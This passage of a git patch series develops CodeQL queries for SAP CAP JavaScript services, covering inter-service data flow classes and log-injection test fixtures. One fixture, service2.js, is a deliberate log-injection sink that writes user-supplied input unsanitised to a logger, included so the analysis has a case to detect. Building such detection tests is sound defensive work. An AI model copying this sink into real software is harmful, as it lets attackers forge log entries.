index 000000000..88f05c5f8
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js
@@ -0,0 +1,12 @@
+const cds = require("@sap/cds");
+
+/* Emit a "Received1" event upon receiving a READ request on its entity. */
+module.exports = class Service1 extends cds.ApplicationService {
+    init() {
+        this.on("send1", async (req) => {
+            const { messageToPass } = req.data;
+            const Service2 = await cds.connect.to("service-2");
+            Service2.send("send2", { messageToPass });
+        });
+    }
+};
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json
new file mode 100644
index 000000000..6aef472e6
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json
@@ -0,0 +1,67 @@
+{
+  "definitions": {
+    "Service1": {
+      "@source": "srv/service1.cds",
+      "kind": "service",
+      "@protocol": "none"
+    },
+    "Service1.Service1Entity": {
+      "kind": "entity",
+      "projection": {
+        "from": {
+          "ref": [
+            "advanced_security.log_injection.sample_entities.Entity1"
+          ]
+        },
+        "excluding": [
+          "Attribute2"
+        ]
+      },
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "Service1.Received1": {
+      "kind": "event",
+      "elements": {
+        "messageToPass": {
+          "type": "cds.String"
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.cds
new file mode 100644
index 000000000..4d1938ff5
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.cds
@@ -0,0 +1,12 @@
+using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
+
+@protocol: 'none'
+service Service2 @(path: '/service-2') {
+  /* Entity to send READ/GET about. */
+  entity Service2Entity as projection on db_schema.Entity2 excluding { Attribute4 }
+
+  /* API to talk to Service2. */
+  action send2 (
+    messageToPass: String
+  ) returns String;
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js
new file mode 100644
index 000000000..3874498a8
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js
@@ -0,0 +1,11 @@
+const cds = require("@sap/cds");
+const LOG = cds.log("logger");
+
+module.exports = cds.service.impl(function() {
+    /* Log upon receiving an "send2" event. */
+    this.on("send2", async (msg) => {
+        const { messageToPass } = msg.data;
+        /* A log injection sink. */
+        LOG.info("Received: ", messageToPass);
+  });
+})
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json
new file mode 100644
index 000000000..f970dd84e
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json
@@ -0,0 +1,21 @@
+{
+  "definitions": {
+    "Service2": {
+      "@source": "srv/service2.cds",
+      "kind": "service"
+    },
+    "Service2.Received2": {
+      "kind": "event",
+      "elements": {
+        "messageToPass": {
+          "type": "cds.String"
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file

From a70d59a08bd5d13a900db8b2ff3072b261d1524f Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 28 Feb 2024 16:46:23 -0800
Subject: [PATCH 36/86] Update script to only run locally and not on Codespaces

---
 scripts/create-db.sh | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/scripts/create-db.sh b/scripts/create-db.sh
index 3bcbaed85..5e488447f 100644
--- a/scripts/create-db.sh
+++ b/scripts/create-db.sh
@@ -1,13 +1,11 @@
 #!/bin/bash
-# Run it at test/queries/
-
-codeql="/home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution7/codeql/codeql"
+# !!!!!!! Run it at test/queries/ !!!!!!!
 
 # Remember current directory
 TEST_DIR=$(pwd)
 
 # Loop over all the directories in the test directory
-for dir in xss-*; do
+for dir in *; do
     # Change to the directory
     cd $dir
 
@@ -21,7 +19,7 @@ for dir in xss-*; do
     export LGTM_INDEX_FILTERS=include:**/*.json
 
     # Create CodeQL database
-    $codeql database create $FOLDER_NAME --language=javascript --overwrite
+    codeql database create $FOLDER_NAME --language=javascript --overwrite
 
     # Change back to the test directory
     cd $TEST_DIR

From 46923651976d7766024e82929d8c12bdc5baed8b Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Thu, 29 Feb 2024 13:19:20 -0800
Subject: [PATCH 37/86] Change UserDefinedApplicationService to abstract class

---
 .../javascript/frameworks/cap/CDS.qll         | 87 ++++++++-----------
 .../javascript/frameworks/cap/PackageJson.qll |  2 +-
 .../frameworks/cap/dataflow/DataFlow.qll      | 20 +++--
 .../frameworks/cap/dataflow/FlowSteps.qll     | 18 +++-
 .../srv/service2.cds                          |  1 +
 5 files changed, 70 insertions(+), 58 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index f4958a6df..e23ccd560 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -1,5 +1,5 @@
 import javascript
-import DataFlow
+import semmle.javascript.dataflow.DataFlow
 import advanced_security.javascript.frameworks.cap.PackageJson
 import advanced_security.javascript.frameworks.cap.CDL
 import advanced_security.javascript.frameworks.cap.CQL
@@ -295,59 +295,14 @@ class ErrorHandler extends Handler {
   ErrorHandler() { this.getAnEventName() = "error" }
 }
 
-newtype TUserDefinedApplicationService =
-  /**
-   * Subclassing `cds.ApplicationService` via a ES6 class definition.
-   * ```js
-   * class SomeService extends cds.ApplicationService
-   * ```
-   */
-  TClassDefinition(ClassNode classNode) {
-    exists(CdsApplicationService cdsApplicationService |
-      classNode.getASuperClassNode() = cdsApplicationService.asSource()
-    )
-  } or
-  /**
-   * Subclassing `cds.ApplicationService` via a call to `cds.service.impl`.
-   * ```js
-   * const cds = require('@sap/cds')
-   * module.exports = cds.service.impl (function() { ... })
-   * ```
-   */
-  TImplMethodCall(MethodCallNode cdsServiceImplCall) {
-    exists(CdsFacade cds |
-      cdsServiceImplCall.getReceiver() = cds.getMember("service").asSource() and
-      cdsServiceImplCall.getMethodName() = "impl"
-    )
-  }
-
 /**
  * A custom application service of type `cds.ApplicationService`, where parts of the business logic are implemented.
  */
-class UserDefinedApplicationService extends TUserDefinedApplicationService {
-  ClassNode asClassDefinition() { this = TClassDefinition(result) }
-
-  MethodCallNode asImplMethodCall() { this = TImplMethodCall(result) }
-
-  string toString() {
-    result = this.asClassDefinition().toString() or
-    result = this.asImplMethodCall().toString()
-  }
-
-  FunctionNode getInitFunction() {
-    result = this.asClassDefinition().getInstanceMethod("init") or
-    result = this.asImplMethodCall().getArgument(0)
-  }
+abstract class UserDefinedApplicationService extends DataFlow::Node {
+  abstract FunctionNode getInitFunction();
 
   HandlerRegistration getAHandlerRegistration() {
-    result.getEnclosingFunction() = getInitFunction().asExpr()
-  }
-
-  predicate hasLocationInfo(
-    string filepath, int startline, int startcolumn, int endline, int endcolumn
-  ) {
-    this.asClassDefinition().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) or
-    this.asImplMethodCall().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn)
+    result.getEnclosingFunction() = this.getInitFunction().asExpr()
   }
 
   /**
@@ -361,6 +316,40 @@ class UserDefinedApplicationService extends TUserDefinedApplicationService {
   }
 }
 
+/**
+ * Subclassing `cds.ApplicationService` via a ES6 class definition.
+ * ```js
+ * class SomeService extends cds.ApplicationService
+ * ```
+ */
+class ES6Definition extends ClassNode, UserDefinedApplicationService {
+  ES6Definition() {
+    exists(CdsApplicationService cdsApplicationService |
+      this.getASuperClassNode() = cdsApplicationService.asSource()
+    )
+  }
+
+  override FunctionNode getInitFunction() { result = this.getInstanceMethod("init") }
+}
+
+/**
+ * Subclassing `cds.ApplicationService` via a call to `cds.service.impl`.
+ * ```js
+ * const cds = require('@sap/cds')
+ * module.exports = cds.service.impl (function() { ... })
+ * ```
+ */
+class ImplMethodCallDefinition extends MethodCallNode, UserDefinedApplicationService {
+  ImplMethodCallDefinition() {
+    exists(CdsFacade cds |
+      this.getReceiver() = cds.getMember("service").asSource() and
+      this.getMethodName() = "impl"
+    )
+  }
+
+  override FunctionNode getInitFunction() { result = this.getArgument(0) }
+}
+
 private class CdsApplicationService extends API::Node {
   CdsApplicationService() { exists(CdsFacade c | this = c.getMember("ApplicationService")) }
 }
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll
index c6ab49252..65b67b74f 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/PackageJson.qll
@@ -39,7 +39,7 @@ class RequiredService extends JsonObject {
    */
   predicate isLocal() { exists(string path | path = this.getPropStringValue("impl")) }
 
-  File getImplementationFile() { "./" + result.getRelativePath() = this.getPropStringValue("impl") }
+  File getImplementationFile() { result.getRelativePath() = this.getPropStringValue("impl") }
 
   /**
    * Holds if this is a declaration of a database service, which is considered remote.
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
index 6494630db..483bc1e20 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
@@ -22,7 +22,7 @@ class ParseSink extends DataFlow::Node {
  * 2. Ones based on query-style API, based on `cds.Services.run`, and
  * 3. Ones based on emitting and subscribing to asynchronous event messages.
  */
-abstract class InterServiceCommunication extends MethodCallNode {
+abstract class InterServiceCommunication extends HandlerRegistration {
   InterServiceCommunication() { this.getReceiver() instanceof ServiceInstance }
 
   /* TODO: Generalize UserApplicationService to include built-in services such as log and db */
@@ -40,20 +40,26 @@ abstract class InterServiceCommunication extends MethodCallNode {
   UserDefinedApplicationService getReceipient() { result = recipient }
 }
 
+/**
+ * A REST style communication method that covers the built-in REST events (`GET`, `POST`, `PUT`, `UPDATE`, and `DELETE`),
+ * as well as custom actions that are defined in the accompanying `.cds` files.
+ */
 class RestStyleCommunication extends InterServiceCommunication {
   RestStyleCommunication() {
-    exists(HandlerRegistration registration, SrvSend srvSend |
-      sender = registration.getReceiver().(ServiceInstance).getDefinition() and
-      recipient = srvSend.getReceiver().(ServiceInstance).getDefinition()
+    exists(SrvSend srvSend |
+      sender = this.getReceiver().(ServiceInstance).getDefinition() and
+      recipient = srvSend.getReceiver().(ServiceInstance).getDefinition() and
+      srvSend.asExpr().getEnclosingFunction+() = this.getHandler().asExpr()
     )
   }
 }
 
 class CrudStyleCommunication extends InterServiceCommunication {
   CrudStyleCommunication() {
-    exists(HandlerRegistration registration, SrvRun srvRun |
-      sender = registration.getReceiver().(ServiceInstance).getDefinition() and
-      recipient = srvRun.getReceiver().(ServiceInstance).getDefinition()
+    exists(SrvRun srvRun |
+      sender = this.getReceiver().(ServiceInstance).getDefinition() and
+      recipient = srvRun.getReceiver().(ServiceInstance).getDefinition() and
+      srvRun.asExpr().getEnclosingFunction+() = this.getHandler().asExpr()
     )
   }
 }
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll
index 6ac4278cf..babfcfc93 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll
@@ -1,3 +1,19 @@
 /**
  * Additional flow steps to be registered to `DataFlow::SharedFlowStep`.
- */
\ No newline at end of file
+ */
+
+import javascript
+import semmle.javascript.dataflow.DataFlow
+import advanced_security.javascript.frameworks.cap.dataflow.DataFlow
+
+/**
+ * An issuing of and handling of a request or a message in an inter-service communication.
+ */
+class InterServiceCommunicationStepFromSenderToReceiver extends DataFlow::SharedFlowStep {
+  override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
+    exists(InterServiceCommunication communication |
+      pred = communication.getSender() and
+      succ = communication.getReceipient()
+    )
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.cds
index 4d1938ff5..b9071e35f 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.cds
@@ -10,3 +10,4 @@ service Service2 @(path: '/service-2') {
     messageToPass: String
   ) returns String;
 }
+

From f7846a2ccbd80791de86dd144bc9efcb46bdee37 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 1 Mar 2024 13:11:12 -0800
Subject: [PATCH 38/86] Remove `@protocol: 'none'` in Service1.cds

---
 .../log-injection-with-service2-protocol-none/srv/service1.cds   | 1 -
 1 file changed, 1 deletion(-)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.cds
index 66ceee1c1..34b2e7776 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.cds
@@ -1,6 +1,5 @@
 using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
 
-@protocol: 'none'
 service Service1 @(path: '/service-1') {
   /* Entity to send READ/GET about. */
   entity Service1Entity as projection on db_schema.Entity1 excluding { Attribute2 }

From 818a3943147cf7b260240a8449f3918da7bb6840 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 1 Mar 2024 13:18:33 -0800
Subject: [PATCH 39/86] Minor formatting

---
 .../log-injection-with-service2-protocol-none/srv/service2.js   | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js
index 3874498a8..8003f9c96 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js
@@ -7,5 +7,5 @@ module.exports = cds.service.impl(function() {
         const { messageToPass } = msg.data;
         /* A log injection sink. */
         LOG.info("Received: ", messageToPass);
-  });
+    });
 })

From 3489055d4fec2b43429b5812546c1b0d3136302c Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 1 Mar 2024 13:40:50 -0800
Subject: [PATCH 40/86] Recompile modified CDS files

---
 .../srv/service1.json                         | 11 ++--
 .../srv/service2.json                         | 56 ++++++++++++++++++-
 2 files changed, 60 insertions(+), 7 deletions(-)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json
index 6aef472e6..f9bd8754e 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json
@@ -3,7 +3,7 @@
     "Service1": {
       "@source": "srv/service1.cds",
       "kind": "service",
-      "@protocol": "none"
+      "@path": "/service-1"
     },
     "Service1.Service1Entity": {
       "kind": "entity",
@@ -24,12 +24,15 @@
         }
       }
     },
-    "Service1.Received1": {
-      "kind": "event",
-      "elements": {
+    "Service1.send1": {
+      "kind": "action",
+      "params": {
         "messageToPass": {
           "type": "cds.String"
         }
+      },
+      "returns": {
+        "type": "cds.String"
       }
     },
     "advanced_security.log_injection.sample_entities.Entity1": {
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json
index f970dd84e..a7e41e79f 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json
@@ -2,14 +2,64 @@
   "definitions": {
     "Service2": {
       "@source": "srv/service2.cds",
-      "kind": "service"
+      "kind": "service",
+      "@protocol": "none",
+      "@path": "/service-2"
     },
-    "Service2.Received2": {
-      "kind": "event",
+    "Service2.Service2Entity": {
+      "kind": "entity",
+      "projection": {
+        "from": {
+          "ref": [
+            "advanced_security.log_injection.sample_entities.Entity2"
+          ]
+        },
+        "excluding": [
+          "Attribute4"
+        ]
+      },
       "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "Service2.send2": {
+      "kind": "action",
+      "params": {
         "messageToPass": {
           "type": "cds.String"
         }
+      },
+      "returns": {
+        "type": "cds.String"
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
       }
     }
   },

From efd09b304deeb848abec8b70666df906113ab56b Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 1 Mar 2024 16:11:55 -0800
Subject: [PATCH 41/86] Implement `getHandlerRegistration/1`

---
 .../advanced_security/javascript/frameworks/cap/CDS.qll   | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index e23ccd560..3f663ac95 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -88,7 +88,6 @@ class ServiceInstanceFromCdsServe extends ServiceInstance {
 class ServiceInstanceFromCdsConnectTo extends ServiceInstance {
   string serviceName;
 
-  /* TODO: change this to an VarAccess to the VarDef whose getSource() is CdsConnectToCall or an AwaitExpr wrapping it */
   ServiceInstanceFromCdsConnectTo() {
     exists(CdsConnectToCall cdsConnectTo |
       this = cdsConnectTo.getVarDefUsingCdsConnect().getAVariable().getAnAccess().flow() and
@@ -301,10 +300,13 @@ class ErrorHandler extends Handler {
 abstract class UserDefinedApplicationService extends DataFlow::Node {
   abstract FunctionNode getInitFunction();
 
-  HandlerRegistration getAHandlerRegistration() {
-    result.getEnclosingFunction() = this.getInitFunction().asExpr()
+  HandlerRegistration getHandlerRegistration(string eventName) {
+    result.getEnclosingFunction() = this.getInitFunction().asExpr() and
+    result.getAnEventName() = eventName
   }
 
+  HandlerRegistration getAHandlerRegistration() { result = this.getHandlerRegistration(_) }
+
   /**
    * Gets the name of this service as declared in the ` package.json`.
    */

From 3d80c3b33dec4abaafb97380a0e218a49695c7d0 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 1 Mar 2024 16:16:25 -0800
Subject: [PATCH 42/86] Add transitive import of FlowSteps

---
 .../javascript/frameworks/cap/dataflow/DataFlow.qll             | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
index 483bc1e20..b4dea289f 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
@@ -3,7 +3,9 @@
  */
 
 import javascript
+import semmle.javascript.dataflow.DataFlow
 import advanced_security.javascript.frameworks.cap.CDS
+import advanced_security.javascript.frameworks.cap.dataflow.FlowSteps
 
 /**
  * Methods that parse source strings into a CQL expression.

From 3b1ec2638bad4f51e15cf0207ffa580f4dab4562 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 1 Mar 2024 16:18:30 -0800
Subject: [PATCH 43/86] Add more fields and getters to
 `InterServiceCommunication`

---
 .../frameworks/cap/dataflow/DataFlow.qll      | 58 ++++++++++++++-----
 1 file changed, 45 insertions(+), 13 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
index b4dea289f..ab63f3207 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
@@ -22,24 +22,53 @@ class ParseSink extends DataFlow::Node {
  * A communication happening between `cds.Service`s. This includes:
  * 1. Ones based on REST-style API, based on `cds.Service.send`,
  * 2. Ones based on query-style API, based on `cds.Services.run`, and
- * 3. Ones based on emitting and subscribing to asynchronous event messages.
+ * 3. Ones based on emitting and subscribing to asynchronous events.
  */
 abstract class InterServiceCommunication extends HandlerRegistration {
   InterServiceCommunication() { this.getReceiver() instanceof ServiceInstance }
 
-  /* TODO: Generalize UserApplicationService to include built-in services such as log and db */
+  /**
+   * The method call used by the sender to communicate with the recipient.
+   */
+  InterServiceCommunicationMethodCall methodCall;
   /**
    * The service that sends the request.
    */
-  UserDefinedApplicationService sender;
+  ServiceInstance sender;
   /**
    * The service that receives the request and handles it.
    */
-  UserDefinedApplicationService recipient;
+  ServiceInstance recipient;
+  /**
+   * The object sent from the sender to the recipient.
+   */
+  DataFlow::Node payload;
 
-  UserDefinedApplicationService getSender() { result = sender }
+  /**
+   * Gets the object representing the sender.
+   */
+  ServiceInstance getSender() { result = sender }
+
+  /**
+   * Gets the object representing the recipient.
+   */
+  ServiceInstance getRecipient() { result = recipient }
 
-  UserDefinedApplicationService getReceipient() { result = recipient }
+  /**
+   * Gets the communication method call that is used on the recipient by the sender.
+   */
+  InterServiceCommunicationMethodCall getCommunicationMethodCall() { result = methodCall }
+
+  /**
+   * Gets the sender's definition, given that it is user-defined.
+   */
+  /* TODO: Generalize UserApplicationService to include built-in services such as log and db */
+  UserDefinedApplicationService getSenderDefinition() { result = sender.getDefinition() }
+
+  /**
+   * Gets the recipien's definition, given that it is user-defined.
+   */
+  UserDefinedApplicationService getRecipientDefinition() { result = recipient.getDefinition() }
 }
 
 /**
@@ -49,8 +78,9 @@ abstract class InterServiceCommunication extends HandlerRegistration {
 class RestStyleCommunication extends InterServiceCommunication {
   RestStyleCommunication() {
     exists(SrvSend srvSend |
-      sender = this.getReceiver().(ServiceInstance).getDefinition() and
-      recipient = srvSend.getReceiver().(ServiceInstance).getDefinition() and
+      methodCall = srvSend and
+      sender = this.getReceiver() and
+      recipient = srvSend.getReceiver() and
       srvSend.asExpr().getEnclosingFunction+() = this.getHandler().asExpr()
     )
   }
@@ -59,8 +89,9 @@ class RestStyleCommunication extends InterServiceCommunication {
 class CrudStyleCommunication extends InterServiceCommunication {
   CrudStyleCommunication() {
     exists(SrvRun srvRun |
-      sender = this.getReceiver().(ServiceInstance).getDefinition() and
-      recipient = srvRun.getReceiver().(ServiceInstance).getDefinition() and
+      methodCall = srvRun and
+      sender = this.getReceiver() and
+      recipient = srvRun.getReceiver() and
       srvRun.asExpr().getEnclosingFunction+() = this.getHandler().asExpr()
     )
   }
@@ -75,14 +106,15 @@ class AsyncStyleCommunication extends InterServiceCommunication {
       emittingRegistration != orchestratingRegistration and
       /* The service that emits the event and the service that registers the handler are the same; it's the sender. */
       this = orchestratingRegistration and
-      sender = emittingRegistration.getReceiver().(ServiceInstance).getDefinition() and
-      srvEmit.asExpr().getEnclosingFunction+() = sender.getInitFunction().asExpr() and
+      methodCall = srvEmit and
+      sender = emittingRegistration.getReceiver() and
+      srvEmit.asExpr().getEnclosingFunction+() = sender.getDefinition().getInitFunction().asExpr() and
       /* 1. match by their event name. */
       srvEmit.getEmittedEvent() = orchestratingRegistration.getAnEventName() and
       /* 2. match by their service name in cds.connect().to(). */
       srvEmit.getEmitter().getDefinition().getManifestName() =
         orchestratingRegistration.getReceiver().(ServiceInstanceFromCdsConnectTo).getServiceName() and
-      recipient = methodCallOnReceiver.getReceiver().(ServiceInstance).getDefinition() and
+      recipient = methodCallOnReceiver.getReceiver() and
       methodCallOnReceiver.getEnclosingFunction() = orchestratingRegistration.getHandler().asExpr()
     )
   }

From e6e699187f60dab84605cf9b807ca43fc6aad03a Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 1 Mar 2024 16:19:41 -0800
Subject: [PATCH 44/86] Debug
 `InterServiceCommunicationStepFromSenderToReceiver`

---
 .../frameworks/cap/dataflow/FlowSteps.qll     | 20 ++++++++++++++++---
 1 file changed, 17 insertions(+), 3 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll
index babfcfc93..a8b210c36 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll
@@ -11,9 +11,23 @@ import advanced_security.javascript.frameworks.cap.dataflow.DataFlow
  */
 class InterServiceCommunicationStepFromSenderToReceiver extends DataFlow::SharedFlowStep {
   override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
-    exists(InterServiceCommunication communication |
-      pred = communication.getSender() and
-      succ = communication.getReceipient()
+    exists(InterServiceCommunication communication, string communicationEventName |
+      pred = communication.getCommunicationMethodCall().getArgument(1) and
+      communicationEventName =
+        communication
+            .getCommunicationMethodCall()
+            .getArgument(0)
+            .getALocalSource()
+            .asExpr()
+            .(StringLiteral)
+            .getValue() and
+      succ =
+        communication
+            .getRecipient()
+            .getDefinition()
+            .getHandlerRegistration(communicationEventName)
+            .getHandler()
+            .getParameter(0)
     )
   }
 }

From 14c48072202506da32c37d8618c51071d6082c8f Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 1 Mar 2024 16:20:10 -0800
Subject: [PATCH 45/86] Minor stylistic change

---
 .../javascript/frameworks/cap/CAPLogInjection.qll         | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjection.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjection.qll
index b581a0479..2ff7c5815 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjection.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjection.qll
@@ -10,9 +10,13 @@ class CdsLogger extends MethodCallNode {
   string name;
 
   CdsLogger() {
-    this = any(CdsFacade cds).getMember("log").getACall() and
-    name = this.getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
+    exists(CdsFacade cds |
+      this = cds.getMember("log").getACall() and
+      name = this.getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
+    )
   }
+
+  string getName() { result = name }
